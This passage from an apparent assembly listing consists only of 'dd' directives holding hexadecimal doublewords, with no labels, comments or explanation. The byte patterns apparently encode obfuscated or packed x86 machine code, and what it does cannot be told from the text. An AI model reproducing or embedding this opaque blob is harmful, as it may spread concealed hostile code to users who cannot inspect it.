0F4546B20h, 5C5640F6h, 6766CFBh dd 994CD1A2h, 0B224A9A5h, 71D8E7A4h, 0D1A21B61h, 5D76E04Ch dd 0CC0DB6AEh, 0B68C1A83h, 0E97A24C0h, 0C17375D1h, 0EDEF34D0h dd 58F54CDh, 4118290h, 6F1C52CCh, 906AFC54h, 13BEC4DFh dd 0B2E15803h, 41CAAEA4h, 0CB74ACAh, 41F1879Bh, 9CFA4ACAh dd 0C527C18Ah, 50C9FC58h, 0F0C0h, 0C33F600h, 263CAB3Ch dd 4CD1A256h, 4D2B399Dh, 4CFCC398h, 0BD91AD6Eh, 899B09BBh dd 0F263EDD0h, 0A72014E1h, 43F6E757h, 0E679BACEh, 0FDFBE97Bh dd 0D151E3C3h, 0DF69504Ch, 0B58F4C11h, 7EF0849Dh, 8C624229h dd 4EFAC19Ah, 1820FB6Ch, 8B6DDDE3h, 71594BD9h, 0A771FEC7h dd 71C3608h, 8FADFA1Eh, 2ABB29BBh, 0CC095338h, 2A187E52h dd 92AF405Ah, 6BF9516Fh, 90AF6CF9h, 0AE39AEB8h, 677DD1EDh dd 0DDAEFC79h, 0CDF29954h, 9380157Fh, 0CF8E33D7h, 92031177h dd 784A06B9h, 1CA8A89Bh, 5DEB26C8h, 0EB20E5C3h, 89000000h dd 0E5A69CB8h, 8D7E74D8h, 0EAA799ADh, 8F7C76D4h, 0AFA69CB4h dd 61EFD26Bh, 90BE828Fh, 83CFF1A2h, 6BDDDCADh, 485ABB95h dd 4AF0F630h, 7F9668BBh, 0A0E72964h, 0A6BCD401h, 4CD1B2D6h dd 392BB91Dh, 0FDF35D60h, 251B2D0Ch, 3C0C334Fh, 7EC8F0ABh dd 0AA919268h, 0C6D8A49Eh, 77FB1780h, 7852F2DDh, 605F1C1Eh dd 4E451AE8h, 0A3BB9B72h, 994EAAA2h, 5002190Ah, 188EBA81h dd 0DA6E4D0Eh, 0C358EAE0h, 0E7144429h, 0AC5C7769h, 82D80D08h dd 176FB5ABh, 0AF5B4D0Ah, 73D5E4A5h, 9BAD8C7Dh, 6CDEDC9Dh dd 2098E8FBh, 0D9D6EE21h, 0AF95B3C9h, 48DE387Fh, 0A49F5C5Eh dd 0BED5961h, 2CEDCB59h, 623B3D0Fh, 0F1CCBF99h, 29104E0Ah dd 3121B61Fh, 7FAF954Bh, 42302690h, 0DCDE6A51h, 0D1Bh dd 0A7BB2C00h, 7FAF95D1h, 0DCAABC1Ah, 1233D42Ah, 94AB6842h dd 0BB5B6B4h, 8CB07147h, 182BE8C2h, 7E414238h, 251BD8D2h dd 76464325h, 2419DAD0h, 56945228h, 0C681E689h, 4, 4EE81h dd 34870000h, 1C895C24h, 0BC16824h, 2C890000h, 39E26824h dd 4890000h, 0CB06824h, 14890000h, 39B8BA24h, 0C2814CDEh dd 694A7AD2h, 517BCA81h, 0EAC179CEh, 6CA8103h, 81108A2Bh dd 237574CAh, 0A2EA8122h, 8939DEB4h, 8B545AD5h, 0C4832404h dd 4815504h, 7E283B24h, 8408F18h, 60B9BA52h, 0E2C16811h dd 56EA8105h, 0F725273Eh, 8EAC1D2h, 0D2ECEA81h, 5029E7A4h dd 34FF5A08h, 0C4835824h, 242C8B04h, 81E78957h, 4C7h, 4C78100h dd 87000000h, 0E95C243Ch, 0FFFAEF80h, 0D4095170h, 0B70D300Fh dd 155DE943h, 0B8087BB5h, 62155BAh, 0E0FFC503h, 1F44843Ch dd 7A319BF6h, 74F8742Fh, 3AD57016h, 0BE8h, 92FA3000h, 0A338CA8Ch dd 7EB0E8DDh, 5ACAB70Fh, 46C281F8h, 81000071h, 0DC01F6h dd 1C2BB87Bh, 0BF0F0000h, 0F3A8BF7h, 0B88h, 58A0F00h, 0BB000000h dd 44A2DB0Bh, 0AE4DEF81h, 0F7817AE0h, 568D0E0Eh, 0EF81EEB3h dd 5FA8E340h, 8E9h, 2EA4200h, 0B0B5C834h, 0BE6657E5h, 28FE52Eh dd 0B74BEBBh, 4EA835Eh, 19A1BB66h, 1E881h, 850F0000h, 12h dd 20E918B1h, 0D8000000h, 197F269Dh, 3081B480h, 0B966E02Fh dd 92E95CEFh, 0CEFFFFFFh, 0F6D064B0h, 0AEFE9E1Bh, 0E8ADFA6Dh dd 0Eh, 73CD3A93h, 0B189EEDh, 44F25996h, 8A0F4346h, 2 dd 0F5A5F52h, 85h, 44C28100h, 0E9000059h, 13h, 88167643h dd 2F9C2F5Ch, 3DE1045Ch, 6C86EE90h, 68F4BDEBh, 162Dh, 58FFB70Fh dd 1BE2E4BFh, 810A8B7Ch, 0A9A980E9h, 10E909h, 0AFC60000h dd 0E5B18197h, 916B4E41h, 0C8AAE19Bh, 0C181415Bh, 741BC05h dd 0E902D4BBh, 44E98133h, 6606936Ch, 51AE3EBFh, 3BBF028Fh dd 83356C17h, 9FB304EAh, 0F01E883h, 0FFFFB885h, 0F28B66FFh dd 8EBh, 0F650000h, 0E7E92830h, 68000004h, 62158DFh, 0FA2647E9h dd 594668FFh, 3DE90621h, 68FFFA26h, 6215AC7h, 0FA2633E9h dd 0AA4527FFh, 6706F007h, 0A04733C8h, 6E09EA01h, 963D34CBh dd 854C4EF3h, 0CD22C56Ch, 8A6100A3h, 0D62DCC6Bh, 5F53F699h dd 2A9E5FE4h, 0F8F138E9h, 37DE1B4Ah, 0A52AA79Eh, 3EC87D54h dd 0E4F99D2Bh, 84C9680Bh, 8020BFAFh, 0B92378Eh, 0F55FBA84h dd 2EC73DC4h, 2CA3C015h, 4F2DC7h, 69905E96h, 319F8FCh dd 88D0000h, 2CAF728Bh, 16BDB4C7h, 0B351D179h, 549C0D13h dd 0B9368ED3h, 3EC87D20h, 0BE3FC43Fh, 0D13EC87Dh, 0B033B533h dd 0CF6F16E3h, 5991078Ch, 0A422C4F5h, 464E14AFh, 86DBC44Ah dd 0A38C13Eh, 0F157C2B7h, 9D67EC6Fh, 0DE388A26h, 0F247CF68h dd 0EBCF54D7h, 7C3290EDh, 7E0A870Eh, 4B0DE257h, 16E76C6Fh dd 69CE81D5h, 24B95DDBh, 8427514Bh, 4FEE08EBh, 941694B6h dd 6E11DEF5h, 4C0DAE9Ah, 0A535FA40h, 304h, 0F295303Ch dd 0CF7211DDh, 0FC9B4238h, 0C66904E7h, 0FEA14831h, 7188495Bh dd 0A8D027CAh, 608D6205h, 0AEC91EC1h, 0DB7A6C0Bh, 0E9258554h dd 2F13DC38h, 0AACBA73Eh, 5AD8720Bh, 50F3FCD3h, 0EC26ADB0h dd 6FC4EA85h, 717D52D9h, 542B2ED2h, 0FCD3761Dh, 92B14EF5h dd 0C716D44Eh, 3C0CAFC8h, 49DB0CF6h, 9D9D3DD2h, 0D5000002h dd 865DFC97h, 0D126C968h, 885F02A9h, 0DA31D06Bh, 0F459F89Fh dd 6F16E3EEh, 9A3D3BD0h, 7615E0F7h, 50F3FCD3h, 19963DB1h dd 38E924C0h, 3EF4CE9Fh, 169B22A7h, 0EC893049h, 5F75BA5Eh dd 0C0C4EA85h, 4396AD4Ah, 0ACC716D5h, 774C7FD2h, 8851CE7Ah dd 0E7C716D5h, 446DF61h, 5E32AA64h, 0C824FC63h, 9E000001h dd 0B75A966Dh, 12B5C217h, 0C9717E75h, 0C87DB34Ah, 15E1CE3Eh dd 0EF76F476h, 33CE9D72h, 0D22BB09Ah, 0AD3EC87Dh, 66987717h dd 0C26593DFh, 20A32525h, 0F55969A3h, 18402C4h, 0FDA14832h dd 0A1DA1F24h, 5943C72Ch, 0B055E316h, 67901814h, 30A86206h dd 9CFC6906h, 25439A19h, 0A81EC72Ch, 4ACF08h, 3E330000h dd 169B22A7h, 0C87D4099h, 7AAC63Eh, 0EA60DC6Eh, 0A67C0346h dd 39C4F4AEh, 3C1332CBh, 6BF09033h, 0C72CB296h, 7A49CC7Fh dd 0E3CD980h, 2CB27485h, 0D97D0BC7h, 16ED202Fh, 0AD9D3AD5h dd 80D90F09h, 0AF7FFC69h, 3000000h, 15E2DC1Bh, 0EE75D572h dd 0C87D6871h, 0FF81073Eh, 0BD648D66h, 0FCA4D320h, 0C87D6677h dd 986F93Eh, 3EC87DF0h, 0F977F98Fh, 0B558975Ch, 7AEA0D12h dd 4B243EC8h, 0D01509A8h, 70EF72F9h, 0C1378669h, 5BDE8208h dd 9224FD4h, 0F174123Bh, 17B05722h, 60719825h, 22A0341Eh dd 0DE4BB7Eh, 452CC366h, 4862947h, 0E7E1F034h, 0EBEFC049h dd 11Ch, 0DA7D1854h, 0A74AE905h, 0E4832A50h, 9E41DC0Fh dd 0E6893049h, 89706183h, 0D0A83FE2h, 78758A2Dh, 0D6A136D9h dd 0A3229433h, 0E927DD1Ch, 7BBB438h, 9837DE1Bh, 3D3A3443h dd 0CB4DFD9Ah, 0DC1B262Ch, 0EA7118E2h, 0C87D9465h, 0DB5DEB3Eh dd 15C6B142h, 0D91266AAh, 0BC5BDDF6h, 4FD6F34Ah, 0F48338D0h dd 4AD137C4h, 4ED57C75h, 39D67581h, 2698111h, 0D36EDD19h dd 8A4FD433h, 84C72CD6h, 6E45C86Bh, 644E180h, 0FEA2412Dh dd 0AB1C81Fh, 8A6D6Dh, 62E60000h, 0E9665FE7h, 0C72CE510h dd 4349D96Fh, 6031C1D8h, 0F14C0844h, 3E989E42h, 169B22A7h dd 0EF8F2A49h, 0EA85A46Ah, 0B451B7C4h, 0EA8D303Fh, 9E37DA15h dd 54A52AA7h, 2BC716D5h, 34F99Dh, 2152427h, 4D22551Ch dd 0F7831Eh, 9D5682Dh, 7F005A9h, 0E112E164h, 6C83A246h dd 0AC47E083h, 0B2D916BFh, 238D71BFh, 0AEB08A5h, 5521D26Bh dd 6EEC935Fh, 0B9B866D1h, 501FCD8Bh, 6609ACCBh, 2AC36691h dd 3B0h, 0BC862A00h, 0A13ED91Bh, 0E5822552h, 0A740DF0Eh dd 0E481244Ch, 0A23BE20Fh, 0E4812851h, 0A441DC0Fh, 0E37C234Fh dd 0AE47E610h, 5E545624h, 4C681h, 0EE830000h, 24348704h dd 2021685Ch, 3C890000h, 0E7895724h, 4C781h, 0EF810000h dd 4, 5C243C87h, 50243489h, 395ABF57h, 0E7817C54h, 0B941D67h dd 6751CF81h, 0EFC13C4Eh, 57F78107h, 890EBA8Bh, 0D0355FF8h dd 0D62C30Bh, 3942595Fh, 0F703E0C1h, 43FC35D8h, 0C78913C5h dd 4EC8358h, 83242489h, 5E042404h, 89585750h, 8B580846h dd 89522434h, 4C281E2h, 81000000h, 4C2h, 24148700h, 243C8B5Ch dd 81E68956h, 4C6h, 4C68100h, 87000000h, 0E95C2434h, 0FFFA2178h dd 9ABF6215h, 3CFEBCBCh, 3C6C7171h, 8B86A5Fh, 306215Ch dd 43E0FFC5h, 0F01649CAh, 0EA0CFBD2h, 285547E3h, 5D133A9Fh dd 0DE0D19ECh, 2763F8EEh, 731FC034h, 4F14623Dh, 0F10AA8FDh dd 2C16A237h, 54232D40h, 36321569h, 792F5783h, 272A9662h dd 0E42CBF23h, 0DB21CAAAh, 5261C9BEh, 9C018DB8h, 0E0296373h dd 3455576Dh, 967F89EDh, 0BC02D4C3h, 1847E387h, 0C957C0F5h dd 6762DC48h, 9D2DD393h, 0EB586593h, 8C2AB01Bh, 0E86D5E96h dd 9, 0C1E6104Eh, 0CFBAFF1Ah, 5880F0Ch, 66000000h, 0B99F781h dd 0AE95Eh, 66520000h, 314EE7CDh, 0D83C17CBh, 59C2C681h dd 0B70F0000h, 163668FAh, 0F4B00000h, 0B70F605Bh, 36FF61DAh dd 8FDBEF81h, 525A34ADh, 0CE8h, 5B04AE00h, 0E2A9D94Dh dd 23DE819Ah, 0F1F580B5h, 0C2815959h, 27E6D535h, 110FBAB8h dd 71EA8111h, 811F38C9h, 0A74CAFD7h, 68F2817Ah, 665EBC84h dd 79AFF781h, 8FF98B52h, 0DE806h, 9B520000h, 0E7F0D6A8h dd 1FFC527Bh, 8BC7B2B2h, 0EE8159FBh, 77F1C9D3h, 81CEB70Fh dd 0F1C9CFC6h, 9BAB877h, 0EB813E54h, 1, 1A850Fh, 0FCB40000h dd 31E9h, 62CDB00h, 0CB444D5Ch, 0C21B7A38h, 309FB3F0h dd 0E18B827Dh, 10B86650h, 5FE9589Fh, 99FFFFFFh, 0F6A69413h dd 37F4ED61h, 6F3260D3h, 81CE76EBh, 8D8DE48Ah, 6215E9Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 7BC35747h dd 0B3C4D39Bh, 0BE431613h, 2C21858Bh, 8D89061Bh, 61B2429h dd 1A5D958Bh, 85C7061Bh, 61B0765h, 7128h, 85C7E38Ah, 61B13D1h dd 0 dd 2299B5FFh, 95FF061Bh, 61B2F85h, 38E0Fh, 8B660000h, 0FF006AD9h dd 1B220595h, 0EBC08B06h, 59F85D0Ah, 5FA29D7Ch, 8DBBBD30h dd 215FA68Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 4F45B5D7h, 891B7E33h, 1B24298Dh dd 178F0F06h, 0E8000000h, 0Fh, 0D2167021h, 8195D677h, 0C7532B07h dd 8BA32890h, 85C75BC6h, 61B0765h, 6D94h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Dh, 55C35545h, 10015A6h dd 4AD1F1BAh, 858B533Dh, 61B3249h, 0D185C75Bh, 61B13h dd 29000000h, 1B092595h, 0D9B5FF06h, 6A061B25h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0B0FDC357h, 76A83BBDh, 81A2BE1Dh, 0B58B2855h, 61B32C9h dd 2F8595FFh, 6A061Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 6A1759C3h, 7580B8B6h, 858B7D9Bh dd 61B0711h, 95FF006Ah, 61B2205h, 2AEBC08Bh, 722EEAC6h dd 0CBE05984h, 0A1B185F4h, 84E23BFFh, 858E5A49h, 84E302B3h dd 796D2728h, 6C5D56ECh, 26EB7F28h, 0BAC3F3EDh, 6E8D14Bh dd 0C8000000h, 616303B8h, 2880F10h, 0B2000000h, 0CE95BACh dd 31000000h, 0E2495C22h, 67172CFAh, 81D1D48Bh, 6FC4C3h dd 0FD952900h, 0B8061B2Ah, 21278B8Eh, 9030F081h, 0B9662127h dd 33FF4E89h, 1689B589h, 315E061Bh, 1B11FDBDh, 62F68106h dd 30D3C1Dh, 1B0795BDh, 76C68106h, 8B0AFF69h, 1B28CD8Dh dd 37EE8106h, 891A2BECh, 1B03ED8Dh, 8B338906h, 1B3011BDh dd 2EB8306h, 0DE8h, 65146200h, 0E4A9885h, 8F07E5C7h, 0BA6657FAh dd 4B59E6F6h, 85BD8B4Bh, 83061B06h, 850F01E8h, 11h, 25F98D8Bh dd 24E9061Bh, 4000000h, 8AF41A34h, 0B59503F9h, 0E9061B13h dd 0FFFFFF7Eh, 0CCF2516Bh, 1E95E5CDh, 0B5059322h, 0F0F9966Bh dd 0E82AE580h, 0Ah, 0A9422094h, 0C7EAC9E5h, 89585841h dd 1B29759Dh, 0F7C08106h, 66000072h, 97DEC781h, 0BF0FF62Bh dd 634FFFEh, 0CE9h, 42F67900h, 645213AFh, 4A70C56Ah, 0EB815B96h dd 5AFA36D9h, 0F3815A56h, 704F84A0h, 147AF781h, 0EB81281Dh dd 5CE93A23h, 1C8946B2h, 12E930h, 4E2D0000h, 931BB17Fh dd 0BDC99E2Ch, 0E3FA831Ah, 0F19EE43Ch, 68C0Fh, 95890000h dd 61B12A9h, 971AEE81h, 9D29038Ch, 61B0D45h, 9716C681h dd 0EE9038Ch, 0A6000000h, 22FD5E11h, 0E4C1C8B0h, 0C6576DCDh dd 0B4FE81D3h, 0FFFFF8Dh, 0FFFF7885h, 98D8BFFh, 8D061B04h dd 21621B8Dh, 0BDB58906h, 8B061B1Ch, 1B1BC1BDh, 298D8906h dd 6A061B24h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0EE17C352h, 20DDB58Bh, 85C7061Bh dd 61B0765h, 607Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 57C35343h, 0F9D7ED82h, 13D185C7h, 61Bh dd 6BBB0000h, 0FF065BB9h, 1B2549B5h, 31BD8906h, 66061B2Dh dd 95FFFB8Bh, 61B2F85h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0FFC35040h, 0DE5AB9ABh, 8945AE06h, 1B0D4D8Dh dd 0A7BE6606h, 0FF006A7Ah, 1B220595h, 0EBC08B06h, 758AC81Ah dd 0B8983311h, 0D9E7EE73h, 1C617763h, 0DBF903AEh, 35D0B911h dd 8D740B06h, 2163018Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0F98589B9h, 89061B12h dd 1B24298Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 0B7A1F999h, 0C7E5D647h, 1B076585h dd 6A8006h, 0BD958B00h, 0C7061B24h, 1B13D185h, 6, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 9D8B29A6h, 61B1765h, 7B5B5FFh, 6A061Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 9529E5C3h dd 61B24B1h, 2F8595FFh, 0A0BE061Bh, 6A146531h, 595FF00h dd 8B061B22h, 643DEBC0h, 8199BC4Dh, 838F8623h, 0E79257D9h dd 23FE2D4Dh, 0D9259B15h, 0BFF2E2D1h, 0EC56FDEAh, 0EBA836A5h dd 0E72B1B69h, 53BCFF0Ch, 0B82E1046h, 2B6499B9h, 3710A5DEh dd 0F0A9071Fh, 7B293350h, 63A58D8Dh, 6A0621h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0B589EBC3h dd 61B040Dh, 24298D89h, 0C680061Bh, 85C7FC0Bh, 61B0765h dd 6588h, 0C7C1B70Fh, 1B13D185h, 6, 0B98D8900h, 0FF061B0Ch dd 1B005DB5h, 8595FF06h, 6A061B2Fh, 595FF00h, 8B061B22h dd 9A39EBC0h, 9675B1F1h, 11EAEB13h, 61B8C65Ah, 6BBFF95Fh dd 0CEE1D7D0h, 0AB657A3Ah, 436DA10Fh, 0BFA7731Fh, 0D3B03349h dd 2CB7D08Bh, 68CC3FE2h, 778C3536h, 0EA1979E0h, 1C12FF7h dd 13E8h, 0B1D76000h, 63490F63h, 417674E7h, 54A8B9F9h dd 8AD5542h, 0DE8h, 0DED39500h, 726135DDh, 1B6FA28Dh, 0BD89C1A1h dd 61B0EF1h, 6E95E5Bh, 41000000h, 0A1B88632h, 0F2C681C0h dd 0F00005Bh, 68D0BFh, 66000000h, 0F2E8E381h, 0D5B53158h dd 8B061B1Bh, 958B063Ch, 61B2379h, 4EDBF781h, 0BD8950E5h dd 61B08C1h, 6882C781h, 0E9603F16h, 0Bh, 2D8FD053h, 8E07AEB8h dd 662F4BE8h, 7D2BD081h, 49F78161h, 66100E36h, 2957CA8Bh dd 1B2AAD85h, 6048F06h, 7699D31h, 8166061Bh, 834952DBh dd 8B0F02E8h, 6, 19D5BD01h, 4848061Bh, 6890Fh, 0B5290000h dd 61B2A91h, 0A508F881h, 850FFFFFh, 19h, 0D08B6656h, 29E95Ah dd 0CF3B0000h, 68664787h, 843EDA00h, 3F282C25h, 0D8D8BF2h dd 0E9061B01h, 0FFFFFF63h, 0FA71B77Bh, 0F2BAB8D9h, 117BBC67h dd 0E839E5D9h, 5, 0DC28A355h, 9F32B9F9h, 895E0119h, 1B29EDBDh dd 4EC68106h, 0F5000065h, 68h, 0C68B6600h, 258D8B5Ah, 8B061B2Bh dd 0F9B3163Ch, 36C8EF81h, 81662884h, 8169D5E9h, 824FDEF7h dd 0EF81F51Ah, 186EB7A4h, 0ED9D8953h, 5B061B21h, 0B5163C89h dd 0CB8B669Ch, 6604EA83h, 367FD981h, 9B40FA81h, 850FFFFFh dd 15h, 17919D8Bh, 1FE9061Bh, 2D000000h, 61939EF6h, 0FF883E0h dd 0E0816694h, 0A0E96DBBh, 8BFFFFFFh, 0E0895315h, 72A7D01Bh dd 8D8DD283h, 6216656h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0D0C35141h, 51F4585h, 0B5858B59h, 52061B2Dh dd 1251BD89h, 895F061Bh, 1B24298Dh, 0DF816606h, 85C70CDCh dd 61B0765h, 5908h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 0F5C35040h, 2EC9C1A7h, 6E997h, 553F0000h dd 495006B8h, 13D185C7h, 61Bh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0AE10C6C3h dd 0B5FF84EFh, 61B25D9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 2EC35646h, 0FE8BAC0Ah, 2F8595FFh, 8D89061Bh dd 61B0BE5h, 95FF006Ah, 61B2205h, 2AEBC08Bh, 0AAEDA701h dd 0DB86672Ch, 38EBC944h, 72A2F9Ah, 0CD6D934Ah, 0BC68A25Ch dd 1D3D3CEAh, 6D1EC628h, 0CB23B46Ah dd 14A43B69h, 5E87337h, 63000000h, 0F5A719ACh, 1A1DB589h dd 5659061Bh, 3DA638BFh, 0C1815F3Fh, 5EB3h, 2B998529h dd 80BA061Bh, 0E8000017h, 13h, 32FF62D5h, 0AFF27224h, 0E2BAC803h dd 3364E10Dh, 8B51537Dh, 1B1CE5BDh, 18B5F06h, 1AA5BD8Bh dd 0C081061Bh, 61F1F3EFh, 2385B50Bh, 0F081061Bh, 72BE57F1h dd 7E8h, 0DCC8C500h, 0FEAFB719h, 6870Fh, 0B5890000h, 61B1209h dd 0CCF0815Bh, 0B313CDA0h, 0BF665001h, 18F7614h, 2F8DB52Bh dd 0E983061Bh, 8349F903h, 850F01EAh, 0FFFFFFAAh, 13E8h dd 0BD513C00h, 50FAFE52h, 9B27B65Dh, 693FE52Fh, 0F4435427h dd 24592BEh, 11E85F7Bh, 86000000h, 496207D2h, 0B6B60AB8h dd 0D8200ACAh, 0F4A124B7h, 0C60F12BEh, 0FE95B5Dh, 0D000000h dd 0A5547149h, 3B8141EEh, 144F505Ch, 0C3816370h, 6850h dd 0CEB8CE8Bh, 813761EBh, 9E2E0BC0h, 5E8C8h, 0F9600000h dd 0F51E63CAh, 8133FF59h, 130CD6DEh, 10E85F70h, 0FF000000h dd 7D4C7475h, 0E4FCB186h, 347D5A5Eh, 0E8FCC3DDh, 11h, 0B4AE078Eh dd 0E4BECD47h, 4E86B0C0h, 0D3D7B2A2h, 800F80h, 5E000000h dd 7AEF815Ah, 8907C395h, 1B028D85h, 4DC78106h, 0E82E8A2Ah dd 7, 324078B0h, 29087F8Fh, 1B32E9BDh, 0F7815E06h, 5CE00202h dd 29898D03h, 3B89061Bh, 83D2B70Fh, 5E802EBh, 0EA000000h dd 419E3468h, 32D19501h, 4B59061Bh, 35B5894Bh, 83061B2Bh dd 850F01E8h, 0FFFFFF69h, 1EB86056h, 0F006B97h, 8Fh, 0E85E6100h dd 0Ah, 0D7BDF4C3h, 0C4F2D964h, 505B3370h, 815ECF8Bh, 713CC3h dd 0BF46B500h, 436938D4h, 1CB5EF81h, 33FF4369h, 7D5B58Bh dd 8158061Bh, 7F1054C0h, 0B9B58B5Dh, 81061B2Ah, 1518ADE8h dd 51E88154h, 60747B71h, 58FA8B56h, 0BF9B589h, 5061061Bh dd 0BE8h, 9C05300h, 518CAFF5h, 4029A2Dh, 30FDBD89h, 8F5E061Bh dd 0C88B6603h, 0D822EB81h, 850F40EAh, 6, 18D99529h, 0C381061Bh dd 40EAD81Eh, 1CD98D89h, 0F4F061Bh, 1585h, 856EBE00h, 29E914FDh dd 6A000000h, 0A8A1101Fh, 78812CACh, 0EA81C53Bh, 340C9A04h dd 0FFFF71E9h, 84A114FFh, 0E873B2C6h, 42AA63F6h, 289700DBh dd 3453160h, 89A07582h, 78146908h, 0B38DA6DCh, 86363E60h dd 8635A12Eh, 13D92590h, 5302548h, 9D3CA499h, 23F2514h dd 86302581h, 949D9807h, 89302359h, 86305EA5h, 1BB5E390h dd 0C8363E6Bh, 0D7FA594Ch, 0A234A484h, 97C129CDh, 8AB1907Bh dd 3BD2359h, 802E5567h, 76BBF56Fh, 0A5ADA08Eh, 6E7E233Fh dd 86302516h, 2E72F249h, 0A274AED4h, 0F30AE46h, 0DE340165h dd 949D906Fh, 3BD2353h, 802E5562h, 7EBBF5EDh, 863035B0h dd 8638CC84h, 89962542h, 86302BA4h, 4F3B6C90h, 79C0A047h dd 8BD9DADBh, 0B302512h, 9D7CF694h, 86359D82h, 65CF2542h dd 0EECF98ACh, 0BBD23B1h, 80114C8Dh, 0B615379Ch, 47FF0E94h dd 89A07582h, 78146908h, 0B38DA6DCh, 86363E60h, 8635A12Eh dd 13D92590h, 5302548h, 0E983A499h, 0B9A4F305h, 22h, 0AE8h dd 55BD9200h, 7BED3Eh, 6091F477h, 0DD8531FCh, 61061B1Eh dd 0DBBB6659h, 8CC18127h, 3300005Eh, 0C19D8BFFh, 8B061B09h dd 8E0F3904h, 6, 31C9B58Bh, 0F081061Bh, 40EA1391h, 7E9h dd 0C7FEE900h, 80A1F895h, 0EFA3E881h, 0B50B5FA1h, 61B1CB5h dd 86C4F081h, 8F0F0DB5h, 9, 38F0Fh, 0BF0F0000h, 390489D1h dd 6800Fh, 8D890000h, 61B0AE9h, 10E9h, 0D5CC7A00h, 90F2358h dd 9237AD0Ah, 9A689087h, 2EF83FFh, 4FF0BF0Fh, 6626BA4Fh dd 0FF81362Ch, 0FFFFA24Ch, 1F850Fh, 85290000h, 61B24F5h dd 2CE9h, 0CC906B00h, 0F72F5DEBh, 2E29EC5Ah, 7D7F2AB7h dd 0F0310587h, 0FF5DE9C8h, 277FFFFh, 0D99F92FFh, 35D583ABh dd 5A2C8FE9h, 0D3F37D93h, 758D8D1Ch, 6A06216Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 55FBC355h, 896EF82Ch, 1B24298Dh, 85950B06h, 0C7061B1Bh dd 1B076585h, 6D0406h, 0C38B6600h, 13D185C7h, 61Bh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 8B8CF2C3h, 1B2D6585h, 0D9B5FF06h, 6A061B25h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 55DBC351h, 0B866450Ch, 95FF50E5h, 61B2F85h, 0E5B58BF8h dd 6A061B02h, 595FF00h, 8B061B22h, 6E2AEBC0h, 0C38A8664h dd 7C15CAC3h, 1A732439h, 6ED6AE59h, 0FC1E07BEh, 8FDCF62Bh dd 0C16BDE79h, 5E3289A5h, 6EF3E258h, 80B7D4B1h, 0A804EBA2h dd 0E90DA24Fh, 838h, 42E5806Ch, 7F22C1ADh, 4CEB9268h, 7619B4B7h dd 4EF19861h, 2158792Bh, 0F800D77Ah, 501DB255h, 0FEF90EB1h dd 8B0ABC5Bh, 0E916F504h, 1FA38C38h, 0C87D916Bh, 6C66913Eh dd 941DE85h, 0E065E887h, 0C87D9A63h, 6871EE3Eh, 73EC87Dh dd 0E3830181h, 961DAC31h, 0F541BB19h, 9A624C4h, 0C9680FEAh dd 5A24532h, 0C15E01EEh, 85CC9Ah, 39B554F7h, 0FC699703h dd 5255h, 0DE1BAD00h, 0D8A79E37h, 0E367009Bh, 1CC3AE43h dd 0A735D883h, 0C7FFFA77h, 0FF29CDE0h, 670EEB70h, 0F164EC8h dd 28400285h, 0C2000000h, 0AD29DE1Bh, 13AF3501h, 0F94AE365h dd 3EC831E3h, 25AAC561h, 3F02A54Ch, 31BC3DC2h, 35D33EC8h dd 192391h, 1B9D0000h, 0A59E37DEh, 3EC87D56h, 482BF8CBh dd 963A10ADh, 9960E56Ch, 3E074FF2h, 0D9B22A7h, 34FB6F73h dd 0C2E16457h, 0D1A13B47h, 27ACAF4Fh, 0C4F51DCDh, 945FF88Eh dd 0C318B75Eh, 1DBCB9B7h, 0AF48CA80h, 74F7D267h, 101E01EFh dd 78FD8B3Dh, 2866F025h, 4EBC7818h, 943342B1h, 5CFFF8FBh dd 0F87721C3h, 93DE08CAh, 9A3DE40Eh, 0E9862D45h, 0C568875Ch dd 6C2D1C21h, 0B25CCD02h, 39E01A9Fh, 7EA92FB2h, 0F86EE67Eh dd 7C7E7F04h, 7801CD02h, 9BBFF0DFh, 21C543BFh, 25B93F02h dd 8491CD2Ah, 58147019h, 0E66406F2h, 0A23EFC42h, 0EE57931Dh dd 7DEDEC73h, 9743EC8h, 1A645F13h, 17EC5ADAh, 919737D6h dd 16E2DC1Bh, 0F270DA73h, 5B966D68h, 2BB231B4h, 463EC87Dh dd 390120C0h, 848DCE36h, 34A805h, 8F1D0000h, 46BB71B3h dd 1A20C05Fh, 931DA23Eh, 0B659966Dh, 56A72C19h, 293EC87Dh dd 0B6791D9Bh, 0C87DA039h, 0BF49BF3Eh, 0DF1BE56Dh, 56FCB238h dd 3502h, 0A23E5800h, 6F08A7C6h, 6DD35DDBh, 17B75A96h dd 7D4E8F14h, 53D13EC8h, 0A8DF6DCDh, 8AA720DFh, 2EB47717h dd 0B538DF1Bh, 0D4F72C27h, 7851DCA5h, 0F93FDF7Eh, 0DC1B56FCh dd 0C4A79C39h, 3E3ECFFEh, 3F08D34h, 0F04541F6h, 9CB2D6BDh dd 8672811Eh, 521DFFE3h, 0B51A516h, 1092DCF4h, 1BA0AF7Fh dd 419639DCh, 0FFF49138h, 0A9B24BF2h, 4ED72FDh, 840BA5Dh dd 4E027FCFh, 